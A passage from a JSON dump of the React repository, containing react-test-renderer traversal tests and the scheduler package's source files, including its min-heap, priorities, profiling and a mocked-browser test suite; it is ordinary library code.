Error('Unexpected update');\n      }\n      render() {\n        return (\n          <>\n            <Child>{'A:' + this.props.step}</Child>\n            <Child>{'B:' + this.props.step}</Child>\n          </>\n        );\n      }\n    }\n\n    let renderer;\n    React.startTransition(() => {\n      renderer = ReactTestRenderer.create(<Example step={1} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    // Flush the some of the changes, but don't commit\n    await waitFor(['A:1']);\n    expect(renderer.toJSON()).toEqual(null);\n\n    // Interrupt with higher priority properties\n    renderer.unstable_flushSync(() => {\n      renderer.update(<Example step={2} />);\n    });\n\n    // Only the higher priority properties have been committed\n    expect(renderer.toJSON()).toEqual(['A:2', 'B:2']);\n  });\n});\n"
  },
  {
    "path": "packages/react-test-renderer/src/__tests__/ReactTestRendererTraversal-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nconst React = require('react');\nlet ReactTestRenderer;\nlet Context;\nlet act;\n\nconst RCTView = 'RCTView';\nconst View = props => <RCTView {...props} />;\n\ndescribe('ReactTestRendererTraversal', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    ReactTestRenderer = require('react-test-renderer');\n    act = require('internal-test-utils').act;\n    Context = React.createContext(null);\n  });\n\n  class Example extends React.Component {\n    render() {\n      return (\n        <View>\n          <View foo=\"foo\">\n            <View bar=\"bar\" />\n            <View bar=\"bar\" baz=\"baz\" itself=\"itself\" />\n            <View />\n            <ExampleSpread bar=\"bar\" />\n            <ExampleFn bar=\"bar\" bing=\"bing\" />\n            <ExampleNull bar=\"bar\" />\n            <ExampleNull null=\"null\">\n              <View void=\"void\" />\n              <View void=\"void\" />\n            </ExampleNull>\n            <React.Profiler id=\"test\" onRender={() => {}}>\n              <ExampleForwardRef qux=\"qux\" />\n            </React.Profiler>\n            <>\n              <>\n                <Context.Provider value={null}>\n                  <Context.Consumer>\n                    {() => <View nested={true} />}\n                  </Context.Consumer>\n                </Context.Provider>\n              </>\n              <View nested={true} />\n              <View nested={true} />\n            </>\n          </View>\n        </View>\n      );\n    }\n  }\n  class ExampleSpread extends React.Component {\n    render = () => <View {...this.props} />;\n  }\n  const ExampleFn = props => <View baz=\"baz\" />;\n  const ExampleNull = props => null;\n\n  const ExampleForwardRef = React.forwardRef((props, ref) => (\n    <View {...props} ref={ref} />\n  ));\n\n  it('initializes', async () => {\n    let render;\n    await act(() => {\n      render = ReactTestRenderer.create(<Example />);\n    });\n    const hasFooProp = node => node.props.hasOwnProperty('foo');\n\n    // assert .props, .type and .parent attributes\n    const foo = render.root.find(hasFooProp);\n    expect(foo.props.children).toHaveLength(9);\n    expect(foo.type).toBe(View);\n    expect(render.root.parent).toBe(null);\n    expect(foo.children[0].parent).toBe(foo);\n  });\n\n  it('searches via .find() / .findAll()', async () => {\n    let render;\n    await act(() => {\n      render = ReactTestRenderer.create(<Example />);\n    });\n\n    const hasFooProp = node => node.props.hasOwnProperty('foo');\n    const hasBarProp = node => node.props.hasOwnProperty('bar');\n    const hasBazProp = node => node.props.hasOwnProperty('baz');\n    const hasBingProp = node => node.props.hasOwnProperty('bing');\n    const hasNullProp = node => node.props.hasOwnProperty('null');\n    const hasVoidProp = node => node.props.hasOwnProperty('void');\n    const hasItselfProp = node => node.props.hasOwnProperty('itself');\n    const hasNestedProp = node => node.props.hasOwnProperty('nested');\n\n    expect(() => render.root.find(hasFooProp)).not.toThrow(); // 1 match\n    expect(() => render.root.find(hasBarProp)).toThrow(); // >1 matches\n    expect(() => render.root.find(hasBazProp)).toThrow(); // >1 matches\n    expect(() => render.root.find(hasBingProp)).not.toThrow(); // 1 match\n    expect(() => render.root.find(hasNullProp)).not.toThrow(); // 1 match\n    expect(() => render.root.find(hasVoidProp)).toThrow(); // 0 matches\n    expect(() => render.root.find(hasNestedProp)).toThrow(); // >1 matches\n\n    // same assertion as .find(), but confirm length\n    expect(render.root.findAll(hasFooProp, {deep: false})).toHaveLength(1);\n    expect(render.root.findAll(hasBarProp, {deep: false})).toHaveLength(5);\n    expect(render.root.findAll(hasBazProp, {deep: false})).toHaveLength(2);\n    expect(render.root.findAll(hasBingProp, {deep: false})).toHaveLength(1);\n    expect(render.root.findAll(hasNullProp, {deep: false})).toHaveLength(1);\n    expect(render.root.findAll(hasVoidProp, {deep: false})).toHaveLength(0);\n    expect(render.root.findAll(hasNestedProp, {deep: false})).toHaveLength(3);\n\n    // note: with {deep: true}, .findAll() will continue to\n    //       search children, even after finding a match\n    expect(render.root.findAll(hasFooProp)).toHaveLength(2);\n    expect(render.root.findAll(hasBarProp)).toHaveLength(9);\n    expect(render.root.findAll(hasBazProp)).toHaveLength(4);\n    expect(render.root.findAll(hasBingProp)).toHaveLength(1); // no spread\n    expect(render.root.findAll(hasNullProp)).toHaveLength(1); // no spread\n    expect(render.root.findAll(hasVoidProp)).toHaveLength(0);\n    expect(render.root.findAll(hasNestedProp, {deep: false})).toHaveLength(3);\n\n    const bing = render.root.find(hasBingProp);\n    expect(bing.find(hasBarProp)).toBe(bing);\n    expect(bing.find(hasBingProp)).toBe(bing);\n    expect(bing.findAll(hasBazProp, {deep: false})).toHaveLength(1);\n    expect(bing.findAll(hasBazProp)).toHaveLength(2);\n\n    const foo = render.root.find(hasFooProp);\n    expect(foo.findAll(hasFooProp, {deep: false})).toHaveLength(1);\n    expect(foo.findAll(hasFooProp)).toHaveLength(2);\n\n    const itself = foo.find(hasItselfProp);\n    expect(itself.find(hasBarProp)).toBe(itself);\n    expect(itself.find(hasBazProp)).toBe(itself);\n    expect(itself.findAll(hasBazProp, {deep: false})).toHaveLength(1);\n    expect(itself.findAll(hasBazProp)).toHaveLength(2);\n  });\n\n  it('searches via .findByType() / .findAllByType()', async () => {\n    let render;\n    await act(() => {\n      render = ReactTestRenderer.create(<Example />);\n    });\n\n    expect(() => render.root.findByType(ExampleFn)).not.toThrow(); // 1 match\n    expect(() => render.root.findByType(View)).not.toThrow(); // 1 match\n    expect(() => render.root.findByType(ExampleForwardRef)).not.toThrow(); // 1 match\n    // note: there are clearly multiple <View /> in general, but there\n    //       is only one being rendered at root node level\n    expect(() => render.root.findByType(ExampleNull)).toThrow(); // 2 matches\n\n    expect(render.root.findAllByType(ExampleFn)).toHaveLength(1);\n    expect(render.root.findAllByType(View, {deep: false})).toHaveLength(1);\n    expect(render.root.findAllByType(View)).toHaveLength(11);\n    expect(render.root.findAllByType(ExampleNull)).toHaveLength(2);\n    expect(render.root.findAllByType(ExampleForwardRef)).toHaveLength(1);\n\n    const nulls = render.root.findAllByType(ExampleNull);\n    expect(nulls[0].findAllByType(View)).toHaveLength(0);\n    expect(nulls[1].findAllByType(View)).toHaveLength(0);\n\n    const fn = render.root.findAllByType(ExampleFn);\n    expect(fn[0].findAllByType(View)).toHaveLength(1);\n  });\n\n  it('searches via .findByProps() / .findAllByProps()', async () => {\n    let render;\n    await act(() => {\n      render = ReactTestRenderer.create(<Example />);\n    });\n    const foo = 'foo';\n    const bar = 'bar';\n    const baz = 'baz';\n    const qux = 'qux';\n\n    expect(() => render.root.findByProps({foo})).not.toThrow(); // 1 match\n    expect(() => render.root.findByProps({bar})).toThrow(); // >1 matches\n    expect(() => render.root.findByProps({baz})).toThrow(); // >1 matches\n    expect(() => render.root.findByProps({qux})).not.toThrow(); // 1 match\n\n    expect(render.root.findAllByProps({foo}, {deep: false})).toHaveLength(1);\n    expect(render.root.findAllByProps({bar}, {deep: false})).toHaveLength(5);\n    expect(render.root.findAllByProps({baz}, {deep: false})).toHaveLength(2);\n    expect(render.root.findAllByProps({qux}, {deep: false})).toHaveLength(1);\n\n    expect(render.root.findAllByProps({foo})).toHaveLength(2);\n    expect(render.root.findAllByProps({bar})).toHaveLength(9);\n    expect(render.root.findAllByProps({baz})).toHaveLength(4);\n    expect(render.root.findAllByProps({qux})).toHaveLength(3);\n  });\n\n  it('skips special nodes', async () => {\n    let render;\n    await act(() => {\n      render = ReactTestRenderer.create(<Example />);\n    });\n    expect(render.root.findAllByType(React.Fragment)).toHaveLength(0);\n    expect(render.root.findAllByType(Context.Consumer)).toHaveLength(0);\n    expect(render.root.findAllByType(Context.Provider)).toHaveLength(0);\n\n    const expectedParent = render.root.findByProps({foo: 'foo'}, {deep: false})\n      .children[0];\n    const nestedViews = render.root.findAllByProps(\n      {nested: true},\n      {deep: false},\n    );\n    expect(nestedViews.length).toBe(3);\n    expect(nestedViews[0].parent).toBe(expectedParent);\n    expect(nestedViews[1].parent).toBe(expectedParent);\n    expect(nestedViews[2].parent).toBe(expectedParent);\n  });\n\n  it('can have special nodes as roots', async () => {\n    const FR = React.forwardRef((props, ref) => <section {...props} />);\n\n    let render1;\n    await act(() => {\n      render1 = ReactTestRenderer.create(\n        <FR>\n          <div />\n          <div />\n        </FR>,\n      );\n    });\n    expect(render1.root.findAllByType('div').length).toBe(2);\n\n    let render2;\n    await act(() => {\n      render2 = ReactTestRenderer.create(\n        <>\n          <div />\n          <div />\n        </>,\n      );\n    });\n    expect(render2.root.findAllByType('div').length).toBe(2);\n\n    let render3;\n    await act(() => {\n      render3 = ReactTestRenderer.create(\n        <React.Fragment key=\"foo\">\n          <div />\n          <div />\n        </React.Fragment>,\n      );\n    });\n    expect(render3.root.findAllByType('div').length).toBe(2);\n\n    let render4;\n    await act(() => {\n      render4 = ReactTestRenderer.create(\n        <React.StrictMode>\n          <div />\n          <div />\n        </React.StrictMode>,\n      );\n    });\n    expect(render4.root.findAllByType('div').length).toBe(2);\n\n    let render5;\n    await act(() => {\n      render5 = ReactTestRenderer.create(\n        <Context.Provider value={null}>\n          <div />\n          <div />\n        </Context.Provider>,\n      );\n    });\n    expect(render5.root.findAllByType('div').length).toBe(2);\n  });\n});\n"
  },
  {
    "path": "packages/scheduler/README.md",
    "content": "# `scheduler`\n\nThis is a package for cooperative scheduling in a browser environment. It is currently used internally by React, but we plan to make it more generic.\n\nThe public API for this package is not yet finalized.\n\n### Thanks\n\nThe React team thanks [Anton Podviaznikov](https://podviaznikov.com/) for donating the `scheduler` package name.\n"
  },
  {
    "path": "packages/scheduler/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nexport * from './src/forks/Scheduler';\n"
  },
  {
    "path": "packages/scheduler/index.native.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nexport * from './src/forks/SchedulerNative';\n"
  },
  {
    "path": "packages/scheduler/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/scheduler.production.js');\n} else {\n  module.exports = require('./cjs/scheduler.development.js');\n}\n"
  },
  {
    "path": "packages/scheduler/npm/index.native.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/scheduler.native.production.js');\n} else {\n  module.exports = require('./cjs/scheduler.native.development.js');\n}\n"
  },
  {
    "path": "packages/scheduler/npm/umd/scheduler.development.js",
    "content": "/**\n * @license React\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n(function (global, factory) {\n  // eslint-disable-next-line ft-flow/no-unused-expressions\n  typeof exports === 'object' && typeof module !== 'undefined'\n    ? (module.exports = factory(require('react')))\n    : typeof define === 'function' && define.amd // eslint-disable-line no-undef\n      ? define(['react'], factory) // eslint-disable-line no-undef\n      : (global.Scheduler = factory(global));\n})(this, function (global) {\n  function unstable_now() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_now.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_scheduleCallback() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_scheduleCallback.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_cancelCallback() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_cancelCallback.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_shouldYield() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_shouldYield.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_requestPaint() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_requestPaint.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_runWithPriority() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_runWithPriority.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_next() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_next.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_wrapCallback() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_wrapCallback.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_getCurrentPriorityLevel() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_getCurrentPriorityLevel.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_getFirstCallbackNode() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_getFirstCallbackNode.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_pauseExecution() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_pauseExecution.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_continueExecution() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_continueExecution.apply(\n      this,\n      arguments\n    );\n  }\n\n  function unstable_forceFrameRate() {\n    return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_forceFrameRate.apply(\n      this,\n      arguments\n    );\n  }\n\n  return Object.freeze({\n    unstable_now: unstable_now,\n    unstable_scheduleCallback: unstable_scheduleCallback,\n    unstable_cancelCallback: unstable_cancelCallback,\n    unstable_shouldYield: unstable_shouldYield,\n    unstable_requestPaint: unstable_requestPaint,\n    unstable_runWithPriority: unstable_runWithPriority,\n    unstable_next: unstable_next,\n    unstable_wrapCallback: unstable_wrapCallback,\n    unstable_getCurrentPriorityLevel: unstable_getCurrentPriorityLevel,\n    unstable_continueExecution: unstable_continueExecution,\n    unstable_pauseExecution: unstable_pauseExecution,\n    unstable_getFirstCallbackNode: unstable_getFirstCallbackNode,\n    unstable_forceFrameRate: unstable_forceFrameRate,\n    get unstable_IdlePriority() {\n      return global.React\n        .__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .Scheduler.unstable_IdlePriority;\n    },\n    get unstable_ImmediatePriority() {\n      return global.React\n        .__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .Scheduler.unstable_ImmediatePriority;\n    },\n    get unstable_LowPriority() {\n      return global.React\n        .__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .Scheduler.unstable_LowPriority;\n    },\n    get unstable_NormalPriority() {\n      return global.React\n        .__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .Scheduler.unstable_NormalPriority;\n    },\n    get unstable_UserBlockingPriority() {\n      return global.React\n        .__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .Scheduler.unstable_UserBlockingPriority;\n    },\n    get unstable_Profiling() {\n      return global.React\n        .__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .Scheduler.unstable_Profiling;\n    },\n  });\n});\n"
  },
  {
    "path": "packages/scheduler/npm/unstable_mock.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/scheduler-unstable_mock.production.js');\n} else {\n  module.exports = require('./cjs/scheduler-unstable_mock.development.js');\n}\n"
  },
  {
    "path": "packages/scheduler/npm/unstable_post_task.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/scheduler-unstable_post_task.production.js');\n} else {\n  module.exports = require('./cjs/scheduler-unstable_post_task.development.js');\n}\n"
  },
  {
    "path": "packages/scheduler/package.json",
    "content": "{\n  \"name\": \"scheduler\",\n  \"version\": \"0.28.0\",\n  \"description\": \"Cooperative scheduler for the browser environment.\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/scheduler\"\n  },\n  \"license\": \"MIT\",\n  \"keywords\": [\n    \"react\"\n  ],\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"index.native.js\",\n    \"unstable_mock.js\",\n    \"unstable_post_task.js\",\n    \"cjs/\"\n  ]\n}\n"
  },
  {
    "path": "packages/scheduler/src/SchedulerFeatureFlags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nexport const enableProfiling = false;\nexport const frameYieldMs = 5;\n\nexport const userBlockingPriorityTimeout = 250;\nexport const normalPriorityTimeout = 5000;\nexport const lowPriorityTimeout = 10000;\nexport const enableRequestPaint = true;\n\nexport const enableAlwaysYieldScheduler = __EXPERIMENTAL__;\n"
  },
  {
    "path": "packages/scheduler/src/SchedulerMinHeap.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\ntype Heap<T: Node> = Array<T>;\ntype Node = {\n  id: number,\n  sortIndex: number,\n  ...\n};\n\nexport function push<T: Node>(heap: Heap<T>, node: T): void {\n  const index = heap.length;\n  heap.push(node);\n  siftUp(heap, node, index);\n}\n\nexport function peek<T: Node>(heap: Heap<T>): T | null {\n  return heap.length === 0 ? null : heap[0];\n}\n\nexport function pop<T: Node>(heap: Heap<T>): T | null {\n  if (heap.length === 0) {\n    return null;\n  }\n  const first = heap[0];\n  const last = heap.pop();\n  if (last !== first) {\n    // $FlowFixMe[incompatible-type]\n    heap[0] = last;\n    // $FlowFixMe[incompatible-call]\n    siftDown(heap, last, 0);\n  }\n  return first;\n}\n\nfunction siftUp<T: Node>(heap: Heap<T>, node: T, i: number): void {\n  let index = i;\n  while (index > 0) {\n    const parentIndex = (index - 1) >>> 1;\n    const parent = heap[parentIndex];\n    if (compare(parent, node) > 0) {\n      // The parent is larger. Swap positions.\n      heap[parentIndex] = node;\n      heap[index] = parent;\n      index = parentIndex;\n    } else {\n      // The parent is smaller. Exit.\n      return;\n    }\n  }\n}\n\nfunction siftDown<T: Node>(heap: Heap<T>, node: T, i: number): void {\n  let index = i;\n  const length = heap.length;\n  const halfLength = length >>> 1;\n  while (index < halfLength) {\n    const leftIndex = (index + 1) * 2 - 1;\n    const left = heap[leftIndex];\n    const rightIndex = leftIndex + 1;\n    const right = heap[rightIndex];\n\n    // If the left or right node is smaller, swap with the smaller of those.\n    if (compare(left, node) < 0) {\n      if (rightIndex < length && compare(right, left) < 0) {\n        heap[index] = right;\n        heap[rightIndex] = node;\n        index = rightIndex;\n      } else {\n        heap[index] = left;\n        heap[leftIndex] = node;\n        index = leftIndex;\n      }\n    } else if (rightIndex < length && compare(right, node) < 0) {\n      heap[index] = right;\n      heap[rightIndex] = node;\n      index = rightIndex;\n    } else {\n      // Neither child is smaller. Exit.\n      return;\n    }\n  }\n}\n\nfunction compare(a: Node, b: Node) {\n  // Compare sort index first, then task id.\n  const diff = a.sortIndex - b.sortIndex;\n  return diff !== 0 ? diff : a.id - b.id;\n}\n"
  },
  {
    "path": "packages/scheduler/src/SchedulerPriorities.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\nexport type PriorityLevel = 0 | 1 | 2 | 3 | 4 | 5;\n\n// TODO: Use symbols?\nexport const NoPriority = 0;\nexport const ImmediatePriority = 1;\nexport const UserBlockingPriority = 2;\nexport const NormalPriority = 3;\nexport const LowPriority = 4;\nexport const IdlePriority = 5;\n"
  },
  {
    "path": "packages/scheduler/src/SchedulerProfiling.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {PriorityLevel} from './SchedulerPriorities';\nimport {enableProfiling} from './SchedulerFeatureFlags';\n\nlet runIdCounter: number = 0;\nlet mainThreadIdCounter: number = 0;\n\n// Bytes per element is 4\nconst INITIAL_EVENT_LOG_SIZE = 131072;\nconst MAX_EVENT_LOG_SIZE = 524288; // Equivalent to 2 megabytes\n\nlet eventLogSize = 0;\nlet eventLogBuffer = null;\nlet eventLog = null;\nlet eventLogIndex = 0;\n\nconst TaskStartEvent = 1;\nconst TaskCompleteEvent = 2;\nconst TaskErrorEvent = 3;\nconst TaskCancelEvent = 4;\nconst TaskRunEvent = 5;\nconst TaskYieldEvent = 6;\nconst SchedulerSuspendEvent = 7;\nconst SchedulerResumeEvent = 8;\n\nfunction logEvent(entries: Array<number | PriorityLevel>) {\n  if (eventLog !== null) {\n    const offset = eventLogIndex;\n    eventLogIndex += entries.length;\n    if (eventLogIndex + 1 > eventLogSize) {\n      eventLogSize *= 2;\n      if (eventLogSize > MAX_EVENT_LOG_SIZE) {\n        // Using console['error'] to evade Babel and ESLint\n        console['error'](\n          \"Scheduler Profiling: Event log exceeded maximum size. Don't \" +\n            'forget to call `stopLoggingProfilingEvents()`.',\n        );\n        stopLoggingProfilingEvents();\n        return;\n      }\n      const newEventLog = new Int32Array(eventLogSize * 4);\n      // $FlowFixMe[incompatible-call] found when upgrading Flow\n      newEventLog.set(eventLog);\n      eventLogBuffer = newEventLog.buffer;\n      eventLog = newEventLog;\n    }\n    eventLog.set(entries, offset);\n  }\n}\n\nexport function startLoggingProfilingEvents(): void {\n  eventLogSize = INITIAL_EVENT_LOG_SIZE;\n  eventLogBuffer = new ArrayBuffer(eventLogSize * 4);\n  eventLog = new Int32Array(eventLogBuffer);\n  eventLogIndex = 0;\n}\n\nexport function stopLoggingProfilingEvents(): ArrayBuffer | null {\n  const buffer = eventLogBuffer;\n  eventLogSize = 0;\n  eventLogBuffer = null;\n  eventLog = null;\n  eventLogIndex = 0;\n  return buffer;\n}\n\nexport function markTaskStart(\n  task: {\n    id: number,\n    priorityLevel: PriorityLevel,\n    ...\n  },\n  ms: number,\n) {\n  if (enableProfiling) {\n    if (eventLog !== null) {\n      // performance.now returns a float, representing milliseconds. When the\n      // event is logged, it's coerced to an int. Convert to microseconds to\n      // maintain extra degrees of precision.\n      logEvent([TaskStartEvent, ms * 1000, task.id, task.priorityLevel]);\n    }\n  }\n}\n\nexport function markTaskCompleted(\n  task: {\n    id: number,\n    priorityLevel: PriorityLevel,\n    ...\n  },\n  ms: number,\n) {\n  if (enableProfiling) {\n    if (eventLog !== null) {\n      logEvent([TaskCompleteEvent, ms * 1000, task.id]);\n    }\n  }\n}\n\nexport function markTaskCanceled(\n  task: {\n    id: number,\n    priorityLevel: PriorityLevel,\n    ...\n  },\n  ms: number,\n) {\n  if (enableProfiling) {\n    if (eventLog !== null) {\n      logEvent([TaskCancelEvent, ms * 1000, task.id]);\n    }\n  }\n}\n\nexport function markTaskErrored(\n  task: {\n    id: number,\n    priorityLevel: PriorityLevel,\n    ...\n  },\n  ms: number,\n) {\n  if (enableProfiling) {\n    if (eventLog !== null) {\n      logEvent([TaskErrorEvent, ms * 1000, task.id]);\n    }\n  }\n}\n\nexport function markTaskRun(\n  task: {\n    id: number,\n    priorityLevel: PriorityLevel,\n    ...\n  },\n  ms: number,\n) {\n  if (enableProfiling) {\n    runIdCounter++;\n\n    if (eventLog !== null) {\n      logEvent([TaskRunEvent, ms * 1000, task.id, runIdCounter]);\n    }\n  }\n}\n\nexport function markTaskYield(task: {id: number, ...}, ms: number) {\n  if (enableProfiling) {\n    if (eventLog !== null) {\n      logEvent([TaskYieldEvent, ms * 1000, task.id, runIdCounter]);\n    }\n  }\n}\n\nexport function markSchedulerSuspended(ms: number) {\n  if (enableProfiling) {\n    mainThreadIdCounter++;\n\n    if (eventLog !== null) {\n      logEvent([SchedulerSuspendEvent, ms * 1000, mainThreadIdCounter]);\n    }\n  }\n}\n\nexport function markSchedulerUnsuspended(ms: number) {\n  if (enableProfiling) {\n    if (eventLog !== null) {\n      logEvent([SchedulerResumeEvent, ms * 1000, mainThreadIdCounter]);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/scheduler/src/__tests__/Scheduler-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet Scheduler;\nlet runtime;\nlet performance;\nlet cancelCallback;\nlet scheduleCallback;\nlet requestPaint;\nlet shouldYield;\nlet NormalPriority;\nlet SchedulerFeatureFlags;\n\n// The Scheduler implementation uses browser APIs like `MessageChannel` and\n// `setTimeout` to schedule work on the main thread. Most of our tests treat\n// these as implementation details; however, the sequence and timing of these\n// APIs are not precisely specified, and can vary across browsers.\n//\n// To prevent regressions, we need the ability to simulate specific edge cases\n// that we may encounter in various browsers.\n//\n// This test suite mocks all browser methods used in our implementation. It\n// assumes as little as possible about the order and timing of events.\ndescribe('SchedulerBrowser', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    runtime = installMockBrowserRuntime();\n    jest.unmock('scheduler');\n\n    performance = global.performance;\n    Scheduler = require('scheduler');\n    cancelCallback = Scheduler.unstable_cancelCallback;\n    scheduleCallback = Scheduler.unstable_scheduleCallback;\n    NormalPriority = Scheduler.unstable_NormalPriority;\n    requestPaint = Scheduler.unstable_requestPaint;\n    shouldYield = Scheduler.unstable_shouldYield;\n    SchedulerFeatureFlags = require('../SchedulerFeatureFlags');\n  });\n\n  afterEach(() => {\n    delete global.performance;\n\n    if (!runtime.isLogEmpty()) {\n      throw Error('Test exited without clearing log.');\n    }\n  });\n\n  function installMockBrowserRuntime() {\n    let hasPendingMessageEvent = false;\n    let isFiringMessageEvent = false;\n    let hasPendingDiscreteEvent = false;\n    let hasPendingContinuousEvent = false;\n\n    let timerIDCounter = 0;\n    // let timerIDs = new Map();\n\n    let eventLog = [];\n\n    let currentTime = 0;\n\n    global.performance = {\n      now() {\n        return currentTime;\n      },\n    };\n\n    // Delete node provide setImmediate so we fall through to MessageChannel.\n    delete global.setImmediate;\n\n    global.setTimeout = (cb, delay) => {\n      const id = timerIDCounter++;\n      log(`Set Timer`);\n      // TODO\n      return id;\n    };\n    global.clearTimeout = id => {\n      // TODO\n    };\n\n    const port1 = {};\n    const port2 = {\n      postMessage() {\n        if (hasPendingMessageEvent) {\n          throw Error('Message event already scheduled');\n        }\n        log('Post Message');\n        hasPendingMessageEvent = true;\n      },\n    };\n    global.MessageChannel = function MessageChannel() {\n      this.port1 = port1;\n      this.port2 = port2;\n    };\n\n    function ensureLogIsEmpty() {\n      if (eventLog.length !== 0) {\n        throw Error('Log is not empty. Call assertLog before continuing.');\n      }\n    }\n    function advanceTime(ms) {\n      currentTime += ms;\n    }\n    function resetTime() {\n      currentTime = 0;\n    }\n    function fireMessageEvent() {\n      ensureLogIsEmpty();\n      if (!hasPendingMessageEvent) {\n        throw Error('No message event was scheduled');\n      }\n      hasPendingMessageEvent = false;\n      const onMessage = port1.onmessage;\n      log('Message Event');\n\n      isFiringMessageEvent = true;\n      try {\n        onMessage();\n      } finally {\n        isFiringMessageEvent = false;\n        if (hasPendingDiscreteEvent) {\n          log('Discrete Event');\n          hasPendingDiscreteEvent = false;\n        }\n        if (hasPendingContinuousEvent) {\n          log('Continuous Event');\n          hasPendingContinuousEvent = false;\n        }\n      }\n    }\n    function scheduleDiscreteEvent() {\n      if (isFiringMessageEvent) {\n        hasPendingDiscreteEvent = true;\n      } else {\n        log('Discrete Event');\n      }\n    }\n    function scheduleContinuousEvent() {\n      if (isFiringMessageEvent) {\n        hasPendingContinuousEvent = true;\n      } else {\n        log('Continuous Event');\n      }\n    }\n    function log(val) {\n      eventLog.push(val);\n    }\n    function isLogEmpty() {\n      return eventLog.length === 0;\n    }\n    function assertLog(expected) {\n      const actual = eventLog;\n      eventLog = [];\n      